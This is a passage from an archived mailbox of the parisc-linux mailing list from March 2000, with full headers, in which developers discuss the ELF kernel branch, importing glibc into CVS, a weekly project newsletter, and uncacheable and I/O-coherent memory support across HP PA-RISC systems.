	for <parisc-linux@thepuffingroup.com>; Fri,  3 Mar 2000 14:00:05 -0800 (PST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 12R07B-0006YS-00; Fri, 3 Mar 2000 15:00:05 -0700
In-reply-to: Your message of "Wed, 01 Mar 2000 16:35:14 MST."
             <E12QIeA-0002KV-00@endor.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6963


The latest changes to the main line (SOM) as of this moment have
been folded into the ELF_BRANCH branch.  I had a SCSI lock-up
but otherwise things seem to be as healthy for ELF as I've heard
they are for SOM.  I won't be around until Tuesday, or possibly
Wednesday, but it seems a great time to move all of us to ELF...

	-Paul Bame


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Sat, 4 Mar 2000 14:49:38 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20000304144938.A9944@thepuffingroup.com>
References: <006601bf8487$e057e010$a94abc0f@hungary.hp.com> <200003031910.LAA19111@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618814 30971 80.91.229.3 (22 Nov 2014 01:13:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:34 +0000 (UTC)
Cc: gyula_matics@hp.com, parisc-linux@thepuffingroup.com
To: huck@cup.hp.com
Original-X-From: willy@thepuffingroup.com  Sat Mar  4 13:51:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA23739
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Mar 2000 13:51:38 -0700
Original-Received: (qmail 24257 invoked by uid 15267); 4 Mar 2000 19:52:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24247 invoked from network); 4 Mar 2000 19:52:42 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 4 Mar 2000 19:52:42 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id OAA19579;
	Sat, 4 Mar 2000 14:49:38 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200003031910.LAA19111@lucy.cup.hp.com>; from Jerry Huck on Fri, Mar 03, 2000 at 11:10:58AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6964

On Fri, Mar 03, 2000 at 11:10:58AM -0800, Jerry Huck wrote:
> While the PA-RISC processor architecture supports the notion of a
> non-cacheable page, most HP memory systems do not - certainly not the
> most recent memory systems.  If you set the U-bit on a main memory page
> and then reference the page, the processor will emit a sub-cacheline
> transaction and the memory system will do something bad (probably
> HPMC).  Also, I can't find any architected interface that would let
> you test if a memory page could be accessed uncacheable.

That isn't necessarily a problem.  The interface requires the allocation
of pages which are coherent.  On recent architectures, it's possible to
allocate pages which are actually IO coherent.  On earlier architectures,
the same interface would return uncached pages.  The question is
whether there are any implementations which can do neither of the two
possibilities.


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] latest glibc checked in
Date: Sat, 4 Mar 2000 19:19:52 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10003041826220.15053-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618814 30975 80.91.229.3 (22 Nov 2014 01:13:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Sat Mar  4 18:18:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA01552
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Mar 2000 18:18:48 -0700
Original-Received: (qmail 5889 invoked by uid 15267); 5 Mar 2000 00:19:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5882 invoked from network); 5 Mar 2000 00:19:53 -0000
Original-Received: from cuzea.pair.com (209.68.1.197)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 00:19:53 -0000
Original-Received: from localhost (mang@localhost) by cuzea.pair.com (8.9.1/8.6.12) with ESMTP id TAA17561 for <parisc-linux@thepuffingroup.com>; Sat, 4 Mar 2000 19:19:52 -0500 (EST)
X-Envelope-To: <parisc-linux@thepuffingroup.com>
X-Sender: mang@cuzea.pair.com
Xref: news.gmane.org gmane.linux.ports.parisc:6965

I checked out a copy of glibc from the Cygnus repository (using the
datestamp 2000-03-03), and checked it into our repository in the "glibc"
directory.  You can check it out by doing "cvs co glibc".

All our development on glibc should take place in "glibc" on the trunk.  
The Cygnus sources will be tracked on the GLIBC_CVS_DIST branch, similarly
to how we are tracking Linus' sources in /linux-2.3 on the "linus" branch.  
Instead of using a discrete release number to tag, I propose that we pull
from the Cygnus CVS using a specific date tag, and create a matching
static tag in our repository (e.g. GLIBC_CVS_2000_03_03).

We should push our changes back to the Cygnus tree as often as possible.
Ideally we would just work directly on the Cygnus tree, and people who
wanted to pick our changes would pull from Cygnus.  By having our own
local copy, we risk paying the "stupid tax" by forking glibc and having to
constantly deal with merge problems and support.

(We did a bad, bad thing, and renamed the old "glibc" directory to
"glibc-old" in the repository.  This shouldn't affect you unless you have
an old "glibc" tree around, and willy and I determined this should be a
set of one person.  In this case, you need to blow away your old tree.
Please talk to me if you have local changes.)

Happy hacking,
	- Mike.


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Weekly News [2000-03-03]
Date: Sat, 4 Mar 2000 23:08:56 -0500
Lines: 68
Approved: news@gmane.org
Message-ID: <20000304230856.C9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618814 30977 80.91.229.3 (22 Nov 2014 01:13:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sat Mar  4 22:08:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA03150
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Mar 2000 22:08:00 -0700
Original-Received: (qmail 23820 invoked by uid 15267); 5 Mar 2000 04:08:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23813 invoked from network); 5 Mar 2000 04:08:57 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 04:08:57 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id XAA21947
	for parisc-linux@thepuffingroup.com; Sat, 4 Mar 2000 23:08:56 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6966


PA-RISC/Linux Weekly News - 3rd March 2000

   http://www.thepuffingroup.com/parisc/
       vol 2, issue 7

   This Week:
   News & Announcements
       CVS Page
       This Week's CVS Activity
       State of the Port Summary

News & Announcements
                              
     * Hardware Database updated.
        Matthew & Dave have substantially updated the Hardware Database
            including correcting the CPU types, adding new drivers,
            adding PCI devices and fixing some of the ioscan output. If
            you have any machines running HPUX 10 or greater which aren't
            listed, please submit your ioscans to the database.
     * ELF work continuing
        Paul has put in a lot of work getting the ELF kernel booting.
            Once more people have reported success with ELF kernels,
            we'll switch all development over to ELF.
     * RPMs and DEBs available
        Thanks to Dave O'Neill and Dave Huggins-Daines, we have
            crosscompiling toolchains available from
            ftp://puffin.external.hp.com/pub/parisc/binaries for x86.
            Does anyone want to produce .depot files for us?

CVS Page

   Following on from last week's exciting look at the status page, this
       week's featured page is the CVS page. Newly updated to reflect
       reality, it tells you which repositories are available and how to
       access them.

This Week's CVS Activity

     * Grant updated the SBA IOMMU code.
     * Philipp cleaned up the header files.
     * Paul checked in a rewrite of PALO.
     * Matthew checked in the linux/parisc website.
     * Paul fixed a large number of ELF problems.
     * Gyula updated the LASI SCSI support.
     * Helge updated the LASI ethernet support.
        
State of the Port Summary
            
     * Kernel
          + based on 2.3.42
     * Supported Hardware:
          + SCSI, Lan and PS/2 on Lasi I/O controller
          + Dino PCI controller
          + Elroy PCI controller
          + Tulip ethernet
          + PCNet32 ethernet
          + Intel EEPro ethernet
     * Project Page
          + http://www.thepuffingroup.com/parisc/
     * Latest Workable Image
          + ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Imag
            e-20000218
     * Running PA-RISC/Linux "recipe":
          + http://thepuffingroup.com/parisc/recipe.html




From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] latest glibc checked in
Date: Sat, 4 Mar 2000 23:34:20 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20000304233420.D9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618815 30980 80.91.229.3 (22 Nov 2014 01:13:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Sat Mar  4 22:33:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA03589
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Mar 2000 22:33:16 -0700
Original-Received: (qmail 31407 invoked by uid 15267); 5 Mar 2000 04:34:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31400 invoked from network); 5 Mar 2000 04:34:21 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 04:34:21 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id XAA21963
	for parisc-linux@thepuffingroup.com; Sat, 4 Mar 2000 23:34:20 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6967


with that Implies checked in, it'll get as far as trying to build in the
csu directory.  There's a problem with initfini.s -- the autogenerated
one looks something like this:

_init
	.PROC
	.CALLINFO
	.ENTRY

/* cut here */

	.EXIT
	.PROCEND

and then the same for _fini.  Then there's a nasty little sed script
which cuts the file into chunks and leaves the chunk before `cut here'
in one file and the chunk after in another.  So I just delete the 5
directives there and then type `make' and it carries on compiling merrily.
I suspect gcc needs to be fixed to not output those directives for ELF.

Just so I know (not so I can hold your feet to the fire), who's interested
in doing toolchain work, and who's interested in doing glibc work?


From - Thu Nov 08 21:12:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Sat, 04 Mar 2000 21:49:49 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <200003050549.VAA03562@milano.cup.hp.com>
References: <20000304144938.A9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618815 30982 80.91.229.3 (22 Nov 2014 01:13:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:35 +0000 (UTC)
Cc: huck@cup.hp.com, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Mar  4 23:47:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA04134
	for <parisc-linux@puffin.external.hp.com>; Sat, 4 Mar 2000 23:47:17 -0700
Original-Received: (qmail 20110 invoked by uid 15267); 5 Mar 2000 05:48:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20094 invoked from network); 5 Mar 2000 05:48:22 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 05:48:22 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 78EBB45; Sun,  5 Mar 2000 00:48:18 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id VAA03562; Sat, 4 Mar 2000 21:49:53 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 04 Mar 2000 14:49:38 PST."
             <20000304144938.A9944@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6968

willy@thepuffingroup.com wrote:
> That isn't necessarily a problem.  The interface requires the allocation
> of pages which are coherent.  On recent architectures, it's possible to
> allocate pages which are actually IO coherent.  On earlier architectures,
> the same interface would return uncached pages.  The question is
> whether there are any implementations which can do neither of the two
> possibilities.

That's basically correct. Let's start talking about implementations.

HP systems have three I/O MMU's which are I/O coherent: U2/Uturn,
Astro/Ike, and Epic/SAGA.  AFAIK, all systems using one on them have
the processor(s) connected to a "Runway" bus.  This limits what
processor model those systems can have: PA-7200, -8000, -8200, or -8500.

(Caveats:
 - T-class has something similar to U2 which is NOT I/O coherent
 - V-class (EPIC/SAGA) is probably supportable with some limitations
)

In personal conversations, two knowledgable folks have suggested
the following:
o PA-7100LC systems support uncacheable memory and subcacheline access.
  So these boxes should be supportable.

o PA-7300LC systems *might* support uncacheable memory and subcacheline...
  (Could anyone definitively answer this for any PA-7300LC box?)

o PA-7000 systems are pretty much SOL.
  (But they could be perfectly useful if folks add cache flushing to
   the few device drivers needed for graphics and stuff off of LASI.)

In summary, the number of "unsupportable" systems isn't as big
as I first thought.

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] uncacheable memory
Date: Sun, 5 Mar 2000 09:29:01 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <20000305092901.E9944@thepuffingroup.com>
References: <20000304144938.A9944@thepuffingroup.com> <200003050549.VAA03562@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618815 30986 80.91.229.3 (22 Nov 2014 01:13:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:35 +0000 (UTC)
Cc: huck@cup.hp.com, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Sun Mar  5 08:31:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA07574
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Mar 2000 08:30:57 -0700
Original-Received: (qmail 10678 invoked by uid 15267); 5 Mar 2000 14:32:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10669 invoked from network); 5 Mar 2000 14:32:03 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 14:32:03 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id JAA22823;
	Sun, 5 Mar 2000 09:29:01 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200003050549.VAA03562@milano.cup.hp.com>; from Grant Grundler on Sat, Mar 04, 2000 at 09:49:49PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6969

On Sat, Mar 04, 2000 at 09:49:49PM -0800, Grant Grundler wrote:
> HP systems have three I/O MMU's which are I/O coherent: U2/Uturn,
> Astro/Ike, and Epic/SAGA.  AFAIK, all systems using one on them have
> the processor(s) connected to a "Runway" bus.  This limits what
> processor model those systems can have: PA-7200, -8000, -8200, or -8500.
> 
> (Caveats:
>  - T-class has something similar to U2 which is NOT I/O coherent

According to the hwdb, the T600 has two `Java BC Summit Port (IOA)'.
And you're the only one in possession of a T-class :-).  All the devices
in the T600 seem to be special devices so the drivers would have to
be freshly written anyway.  I don't see a PCI adapter in the T-class,
can one be fitted?  I assume Summit is the name of a bus, like Runway
only different?

> In personal conversations, two knowledgable folks have suggested
> the following:
> o PA-7100LC systems support uncacheable memory and subcacheline access.
>   So these boxes should be supportable.

that's good, that's a fair chunk of those machines which people have (712,
725/100, 715/later, E-class, early D-class).

> o PA-7300LC systems *might* support uncacheable memory and subcacheline...
>   (Could anyone definitively answer this for any PA-7300LC box?)

According to the 7300LC ERS, section 1.1.2 (Integrated Caches and TLB)
`Uncached memory pages are supported via the TLB U-bit.'  Then section
1.2.2, (Differences from the PA7100LC) `Uncacheable pages are still
supported.  Note: PA7100LC did not require the U bit to be set on TLB
entries for I/O pages, but the PA7300LC does (this was always an
architural requirement).'

I think that's enough for us to go on.

> o PA-7000 systems are pretty much SOL.
>   (But they could be perfectly useful if folks add cache flushing to
>    the few device drivers needed for graphics and stuff off of LASI.)

how about PA7100/7150 systems?  (715/early, 735, 755, later Nova servers)
They will also need explicit cache flushing added, I guess.


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rob hoppe <hoppe@mindspring.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] uncacheable memory  (D370)
Date: Sun, 05 Mar 2000 10:57:16 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <38C283DC.83968072@mindspring.com>
References: <20000304144938.A9944@thepuffingroup.com> <200003050549.VAA03562@milano.cup.hp.com> <20000305092901.E9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618816 30988 80.91.229.3 (22 Nov 2014 01:13:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: hoppe@mindspring.com  Sun Mar  5 09:55:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA08080
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Mar 2000 09:55:52 -0700
Original-Received: (qmail 3919 invoked by uid 15267); 5 Mar 2000 15:56:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3908 invoked from network); 5 Mar 2000 15:56:57 -0000
Original-Received: from fb00.eng00.mindspring.net (207.69.200.31)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 15:56:57 -0000
Original-Received: from mindspring.com (user-38lcas3.dialup.mindspring.com [209.86.43.131])
	by fb00.eng00.mindspring.net (8.9.3/8.8.5) with ESMTP id KAA12172
	for <parisc-linux@thepuffingroup.com>; Sun, 5 Mar 2000 10:56:56 -0500 (EST)
X-Mailer: Mozilla 4.7 [en] (Win95; U)
X-Accept-Language: en,pdf
Xref: news.gmane.org gmane.linux.ports.parisc:6970



> >  - T-class has something similar to U2 which is NOT I/O coherent
>

I have a chance at a T-500.  Is it of use?

>
> 725/100, 715/later, E-class, early D-class).
>
> > o PA-7300LC systems *might* support uncacheable memory and subcacheline...
> >   (Could anyone definitively answer this for any PA-7300LC box?)
>

Where does the D-370 dual processor fit here?


--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/                            _/
_/   Rob Hoppe                _/
_/   770-995-5099             _/
_/   770-560-1050 cell        _/
_/   770-338-5885 fax         _/
_/                            _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/



From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] uncacheable memory  (D370)
Date: Sun, 5 Mar 2000 11:05:52 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20000305110552.G9944@thepuffingroup.com>
References: <20000304144938.A9944@thepuffingroup.com> <200003050549.VAA03562@milano.cup.hp.com> <20000305092901.E9944@thepuffingroup.com> <38C283DC.83968072@mindspring.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618816 30991 80.91.229.3 (22 Nov 2014 01:13:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: rob hoppe <hoppe@mindspring.com>
Original-X-From: willy@thepuffingroup.com  Sun Mar  5 10:04:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA08368
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Mar 2000 10:04:48 -0700
Original-Received: (qmail 6881 invoked by uid 15267); 5 Mar 2000 16:05:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6862 invoked from network); 5 Mar 2000 16:05:54 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 16:05:54 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA22954;
	Sun, 5 Mar 2000 11:05:52 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <38C283DC.83968072@mindspring.com>; from rob hoppe on Sun, Mar 05, 2000 at 10:57:16AM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6971

On Sun, Mar 05, 2000 at 10:57:16AM -0500, rob hoppe wrote:
> 
> 
> > >  - T-class has something similar to U2 which is NOT I/O coherent
> >
> 
> I have a chance at a T-500.  Is it of use?

Not in the short term, but if you can get access to it, I'd love to see
ioscan output turn up in the hwdb...

> >
> > 725/100, 715/later, E-class, early D-class).
> >
> > > o PA-7300LC systems *might* support uncacheable memory and subcacheline...
> > >   (Could anyone definitively answer this for any PA-7300LC box?)
> >
> 
> Where does the D-370 dual processor fit here?

The D370 has a U2 IOA in it and as such is IO Coherent.


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Sun, 5 Mar 2000 19:34:43 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20000305193443.A8727@abacus.local>
References: <20000304144938.A9944@thepuffingroup.com> <200003050549.VAA03562@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618816 30992 80.91.229.3 (22 Nov 2014 01:13:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:36 +0000 (UTC)
Cc: willy@thepuffingroup.com, huck@cup.hp.com, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@inwestnet.de  Sun Mar  5 12:34:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA09438
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Mar 2000 12:34:49 -0700
Original-Received: (qmail 26216 invoked by uid 15267); 5 Mar 2000 18:35:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26199 invoked from network); 5 Mar 2000 18:35:53 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 18:35:53 -0000
Original-Received: (qmail 23679 invoked from network); 5 Mar 2000 18:35:42 -0000
Original-Received: from port0186.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.186)
  by mail.ginko.net with SMTP; 5 Mar 2000 18:35:42 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id TAA09120;
	Sun, 5 Mar 2000 19:35:46 +0100
X-Mailer: Mutt 1.0i
In-Reply-To: <200003050549.VAA03562@milano.cup.hp.com>; from grundler@cup.hp.com on Sat, Mar 04, 2000 at 09:49:49PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6972

> In personal conversations, two knowledgable folks have suggested
> the following:
> o PA-7100LC systems support uncacheable memory and subcacheline access.
>   So these boxes should be supportable.
> 
> o PA-7300LC systems *might* support uncacheable memory and subcacheline...
>   (Could anyone definitively answer this for any PA-7300LC box?)

It does, according to our documentation.

> o PA-7000 systems are pretty much SOL.
>   (But they could be perfectly useful if folks add cache flushing to
>    the few device drivers needed for graphics and stuff off of LASI.)

More importantly, they don't use PCI (and not even GSC).  It's perfectly
fine for us to require HP-PB drivers aso to do cache flushing.

> In summary, the number of "unsupportable" systems isn't as big
> as I first thought.

I'm still not convinced there's going to be any problem at all, even on
runway systems.

	Philipp Rumpf


From - Thu Nov 08 21:12:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@inwestnet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lasi scsi driver
Date: Sun, 5 Mar 2000 19:46:52 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20000305194652.A9157@abacus.local>
References: <006601bf8487$e057e010$a94abc0f@hungary.hp.com> <200003031910.LAA19111@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618816 30996 80.91.229.3 (22 Nov 2014 01:13:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:36 +0000 (UTC)
To: huck@cup.hp.com
Original-X-From: prumpf@inwestnet.de  Sun Mar  5 12:47:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA09789
	for <parisc-linux@puffin.external.hp.com>; Sun, 5 Mar 2000 12:47:42 -0700
Original-Received: (qmail 30703 invoked by uid 15267); 5 Mar 2000 18:48:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30687 invoked from network); 5 Mar 2000 18:48:47 -0000
Original-Received: from mail.ginko.net (212.202.73.2)
  by mailserv2.iuinc.com with SMTP; 5 Mar 2000 18:48:47 -0000
Original-Received: (qmail 23761 invoked from network); 5 Mar 2000 18:48:40 -0000
Original-Received: from port0186.fra.ginko.net (HELO inwestnet.de) (root@212.202.70.186)
  by mail.ginko.net with SMTP; 5 Mar 2000 18:48:40 -0000
Original-Received: (from prumpf@localhost)
	by inwestnet.de (8.9.3/8.9.3) id TAA09192
